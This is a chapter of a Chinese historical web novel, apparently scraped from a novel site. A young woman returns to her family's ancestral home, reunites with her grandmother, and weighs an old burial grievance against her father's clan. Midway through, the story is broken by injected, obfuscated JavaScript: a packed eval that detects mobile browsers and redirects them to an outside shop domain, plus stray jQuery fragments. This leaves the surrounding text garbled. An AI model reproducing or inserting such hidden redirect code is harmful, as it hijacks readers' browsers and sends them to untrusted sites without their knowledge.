庐江县建城数百年,昔日朝代更替并未赋予这座县城太多伤痕,经年雨雪风霜不曾波及此县,经朝廷多年治理,经济文化绝不亚于庐州城。
庐州江氏自建城起定居于此繁衍生息,至今庐江县共一万三千九百七十二户,江氏族人占其泰半。
江萱端坐车马,撩开车帘从车窗看向这座历经多番朝代更替的古城,沿途行人匆匆商贩热络,从前的酒肆换了当家,典当行牌匾多几行风雨冲刷,县城繁华如旧梦,一切似乎都没变。
车马碌碌停在江家老宅门前,如今已近黄昏时分,门前点燃的两盏灯笼罩在两头威武壮硕的石狮子上,平添几丝暮气。
车马略过正门停在偏门,早有舆辇和十数奴仆等候多时,甫江萱一下车就牵她登舆缓缓往老宅深处行去。
江萱认得前来接他们兄妹的奴仆,正是江老夫人近身伺候几十年的老嬷嬷秀姑,对江老夫人的一番安排也并无异意。
倒是江二郎,面上隐有踌躇之色。
秀姑看出江二郎的难处,笑道:“太夫人是知道郎君的孝心,只是郎君一路辛苦,眼下又奉县令大人相邀推脱不得,待明日郎君再向太夫人请安也不迟。”
江二郎闻言拱了拱手,又说自己明日一早再同江老夫人用膳,遂匆匆往宴厅方向走去。
至于那些个随行的金银财宝,自有人会打理入库,只等最后呈了册子共老夫人过目就是。
“这位知县大人倒是勤勉,听闻二哥回庐州竟也一刻都不肯耽搁。”
眼下除了江老夫人派来相迎的人外并无其他人在场,江萱端坐舆中,望着江二郎远去的背影,不由冷哼道。
秀姑随舆而行,听得江萱这派小女儿言语,浅笑说起这位知县上任后的丰功伟绩,言语不可不谓夸耀。
“这位知县大人出身寒门,走到今日也是不容易。还记不记得城外山上有一伙儿号称‘劫富济贫’的流寇吗,正是他出手收拾的,咱们家可是欠了他好大一个人情呢。”
“哦,是吗?”帷幕下,江萱的神情难以被人察觉。
“如今三太爷的十二郎定了他家的女儿,俩家更成了姻亲,走动频繁也是难免的事。”秀姑继续道。
江萱不语,话锋一转又问起江太夫人来:“对了,祖母身体近来可还安泰?”
“都好都好,就是想娘子和芷丫头想得紧。”
自见到江萱,秀姑脸上笑意没下来过,倒是在旁的阿芷听得她这般说,不由插话道:“嬷嬷可别骗我,太夫人怕是想罚我抄写书文才是。”
“你这丫头,贫嘴。”秀姑轻轻拧了把阿芷,又是一副恨铁不成钢的模样,“太夫人院里的丫头少数也有二三十,你何时见太夫人让别的丫头抄写那些书文,还不是偏疼你。就你这丫头不识好歹,反倒怪罪起来。”
这般啰嗦的话阿芷不知听了多少次,忙别过脸撅嘴避开。
秀姑见她这般模样,更是絮叨:
“杏兰说,从前润娘子捡到你的时候便说你是好人家的女儿,偏偏你又说不出自己家住何方,便想着好生教导你,不求你知书达理养养精通,只盼你不辱没门楣,也算是全了这一段相遇的缘分。哪知道你这般不争气。”
“从前夫人可不是这么说的……”阿芷一脸不服气,刚开口没几句忽地想起什么,同秀姑一道转头朝舆上江萱看去。
江萱看出二人眼中担忧与避讳,然如今的她已不是从其的她,淡淡道:“我没事,你们继续。”
然秀姑和阿芷可不敢再提起江润从前的事,又挑了些无谓轻重的话题聊了一路,待舆辇在江太夫人所住同安堂前停稳,便随江萱一道往院内走去。
江氏老宅建成百年,历经战乱、饥荒与朝代更替,至大周开国才渐安稳,几经修缮才至如今的格局。
同安堂居江氏老宅格局正中,素来为族长夫妇所居之所。江老太爷过身后,理当有江老爷夫妇所居,江太夫人应当退居同安堂正后方的荣安堂。
然江老爷夫妇不常居江氏老宅,又念及江太夫人年岁渐长,亟需地气暖和风水最佳之地荣养,故而江太夫人顺应子意常居同安堂,至于荣安堂从此便空置下来
江萱初入江氏老宅时曾短暂住过一段时间的荣安堂,然她那是胆怯未消不敢孤身常居一处,从此便也罢了。
同安堂四进格局,庭中多植樟、楠木等高大树木,偶有杨柳相间其中,并植梅兰菊桃点缀,颇具生机。
江萱沿廊穿行,偶可见几丛青苔自号称乃前朝御窑所出的砖缝间长出,又添一丝绿意;亦有倦鸟休憩于墙头青瓦,浅吟片瓦铸成年月旧事,平增古朴韵味。
自江萱八岁来便居于同安堂,纵然离此多年,却也不至于完全生疏不识路途。
经几道垂花门,江萱停驻那扇百子登科红木门前。
自门内传出浅浅吟诵声,江老夫人供佛虔诚,每每饭前必吟佛经一遍。
江萱静听此声,原先忐忑的心绪平复些许,深吸一口气推开门。
明堂当中一整套鸡翅木桌椅,用黄花梨福禄寿屏风隔开左右次间。江老夫人居左次间,江萱从前的时候就住在更靠里头的稍间;右次间供以日常读书赏玩,其后又设小佛堂。
江萱顺着声音走到右稍间外,见着江老夫人的那一刹那眼睛不由一红。
只见江老夫人双手合十,闭眼跪在那尊从东林寺请回来的金身佛像前,口中仍诵佛家语不停。
江老夫人似是察觉江萱归来却依旧没有睁眼,只是停下念诵佛经,淡淡道:“回来了?”
“是。”
听到熟悉的声音,江萱瞬间泪如雨下,却也只是低低应了一声旋即走到江老夫人身后备好的蒲团跪下。
佛陀目含慈悲,居高临下。
幽谧佛堂内无声一道叹,又闻佛珠相碰欲止,听得江老夫人再问道:“找到了你想要的答案了吗?”
又是一阵静谧,江萱低眉抿唇,眼底一片幽深。
未几,前座衣角翩然,江萱忽觉头顶被一道温暖掌心覆盖,眼睛不由一酸。
“好孩子,这些年辛苦了。”
江萱再也克制不住,紧紧抱住江太夫人放声痛哭。
====
“祖母,我真的吃不下了。”
江萱望着那一桌子的珍馐暗自兴叹,她如今已有八分饱,再怎么样都是吃不下了。偏偏长辈看晚辈,总觉得她瘦了不少,江太夫人恨不能一餐就给她补上。
“你的性子我还不知道,有什么不舒服的就是硬撑着。你舅母是个体贴人,但也有照顾不到的地方。秀姑,给三娘再盛一碗逍遥鸡汤。”
话方说罢,秀姑便盛了满满一整碗鸡汤放在江萱面前。江萱本想推拒,可见着江太夫人满是慈爱的目光便也再推脱不得,只得端起茶碗一勺一勺用起来。
这逍遥鸡所用珍珠鸡难养活,平日食粟米饮甘泉,常年养在城郊温泉庄子上,很是娇贵,一道炖煮的香料药材经多层遴选皆为上上,故而制成的汤品色泽清澈,味道鲜美,不住想再饮一碗。
然江萱这一碗汤下肚着实顶饱,又见江太夫人欲让秀姑再给她拣些素卷凉菜,便也来不及细细品味,忙出言制止。
江太夫人见她确实再也吃不下一点,便也没再让人往她碗里添菜,旋即叫人撤了餐食,又另上一盅茉莉花茶漱口,祖孙二人便闲坐在桌前叙话。
“说来那位李小娘子的性情和华阳长公主倒有些相似,只可惜悼太子与章武皇后去世的早,若是悼太子登基,这位李小娘子的前程怕是大有不同。”
江太夫人历经三朝,见多识广,自不避讳武帝末年的旧事,提起那位章武皇后时,更是眼神灼灼满怀追思。
江萱原本靠在江太夫人肩头出神,听得江太夫人这样说,不免想起李谧来:“也不知静言再北疆可好?”
“冬天苦寒,回鹘部族日子不好过,难免南下掠夺边地。那位李小娘子自请边关镇敌,倒有魄力。”
“啊?”听得李谧有危险,江萱忽地从江太夫人肩上起来,皱眉思忖道,“祖母,那你说我是不是该送些东西过去?”
“你娘的半张嫁妆单子都在你手上,送什么都由你。”江太夫人见她这般心急,揶揄道。
江萱越想越觉得边地缺衣少食,忙起身要去库房寻些伤药来送到北疆,又被江太夫人拉住摁下。
“你先坐下!听祖母说,回鹘经先前一役元气损伤,短时间内不会骚扰边境。且清河王昔年提枪横扫王庭的余威尚在,与你交好的那位郡主又有重礼相赠,想来那位李小娘子定不会有事。”
见江太夫人这么说,江萱悬着的心瞬间安稳,又见江太夫人满脸可惜,依稀透露些许当年旧事。
“说起来昔年清河王钟情你娘,曾在你外祖父面前信誓旦旦道‘此生绝不另娶’,只可惜啊,有缘无分。”
子不语父母事,江萱眼眸一沉又见江太夫人将她鬓边碎发别至脑后,口中又有一个好消息。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530467|203676||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“金陵那边的事儿已经办妥,如今韩廷义失势,他们再无倚仗,正是需要靠山的时候。那边早早地回了话,说是准润娘入韩氏祖坟与你爹合葬一处,你也可以安心了。”
听得江太夫人此话,江萱并不觉得高兴,只是默默别过脸去不予回答。
江太夫人见她这般便也知道她的态度,旋即轻叹一口气,不再相劝。
眼见外头天黑又到了江太夫人念经的时候,江萱用了膳仍觉得气闷,便想着往外头走走散散心。
如今是在自己家中,江太夫人并没有什么不放心,只叫人通通跟着江萱往外头去,万勿太晚回来着了凉风。
江萱一一应下,又披了件斗篷便往外头走去。
庐州城比不得京都,入了夜顷刻安静起来。江家老宅盛阔,非主家子弟不得住内。
然江氏子嗣不算繁盛,江老太爷的几个孩子又都不在家中。为免家宅寂寥,江太夫人便也同意江老太爷的兄弟与自己同住,素日里也好有个照应。
侍女举着灯在牵头引路,江萱沿着石板路漫无目地前行。如今正值冬日,两侧的树木光秃秃的,不见什么风景。
昔年阿娘病故,因外嫁女的缘故不等葬入江家祖坟,此事本无可厚非。
然外祖母一纸书信入金陵,请求韩氏族老看在两家姻亲多年的份上允爹娘合葬一处,却以娘成婚多年无子的原因被一口回绝,外祖母多番请求不得只能把母亲孤身葬于江氏祖坟陵园之外。
她犹记得当日,外祖母收到韩氏来信面有愤慨旋即悲戚泪下,见她躲在帘帐后打量又故作无事安慰。
江萱记得清楚,外祖母的头发就是从那日开始白的。
韩家不允她父母合葬一事萦绕她心头多年,江萱焉能不恨?
如今韩氏败落急需庇护,这时候倒是想起被他们逼出韩家的她们了,又放软姿态意图修补自己与庐州江氏的关系。
可是,她凭什么原谅啊?
当年一句无子,抹杀阿娘多年孝顺舅姑相夫教女、执掌中馈怜贫惜弱的功劳,甚至于当年阿娘被赶出韩府其中未必没有这些人的功劳。
何况当年爹爹病重,也不曾见过这些人有多照拂,倒是那些明里暗里的排挤,她们母女二人倒是遇到不少。
财帛动人,她当时年幼不代表无知。韩家主支三房多年积攒惹人眼红,除去她们的这一脉的人,这些钱财便可悉数落入那些人的口袋。
江萱垂在两侧的手紧了又松,夜晚凉风吹来,让她愤慨炽热的心渐渐平静。
韩氏既以施舍姿态提出允阿娘入韩氏祖坟,那她为何不能再过分些,让爹娘同葬一处却不入韩氏祖坟,总归爹娘是不会介意她这般做的。
江萱越想越觉得这是个好主意,想着赶紧回去和外祖母提一提,不料从一旁月洞门窜出一人来趴在沿边的石头缝上大吐特吐,不由吓江萱一跳。
待江萱定睛瞧去,那喝得醉醺醺吐了一地的人正是江二郎,正要上前搀扶,又见江二郎身边的小厮潼关匆匆而来,见着江萱就要行李。
江萱抬一抬手,只叫他稳稳扶住江二郎,问道:“二哥这是怎么了?”
潼关飞速瞟了江萱一眼,速速将今日宴席上的情形说与江萱听:“今日五老太爷设宴款待郎君,赵知县也参席,同族中的几位尊长劝郎君饮酒,郎君推脱不得这才喝多了。”
江二郎的酒量不算差,难得有喝醉成这样的时候。
阿芷见潼关面有薄怒,见着江萱才敢说上几句实话,可知席上那几位长辈与赵知县怕是不仅仅是劝酒那么简单,更可恨江五太爷,小声嘟囔道:“身为长辈不体恤小辈,反而伙同外人一同灌酒,什么人呀!”
江萱轻拍了阿芷,又道:“快送二哥回去歇息吧,记得灌些解酒的汤药,否则第二日起来怕是要头疼。”
潼关飞速应了声,随即搀着江二郎往住所去。
江萱目送江二郎远去,不由对江五太爷等一众长辈生出些许埋怨来。
她正想着打探一番席上江五太爷与赵知县同江二郎到底说了些什么,却见阿芷遥遥指向远处:“阿姊,那地上好像有东西。”
江萱顺着她的手指望去,果然见适才江二郎扶石休息的地上似有一封信,便叫人取来。
那信封上既无人名讳,又不知寄信人姓名,且封口处蜡印脱落,显然已被人拆开过。
江萱心念一动,顺着开封处取出其中信纸细细读来,眼底瞬间悲戚。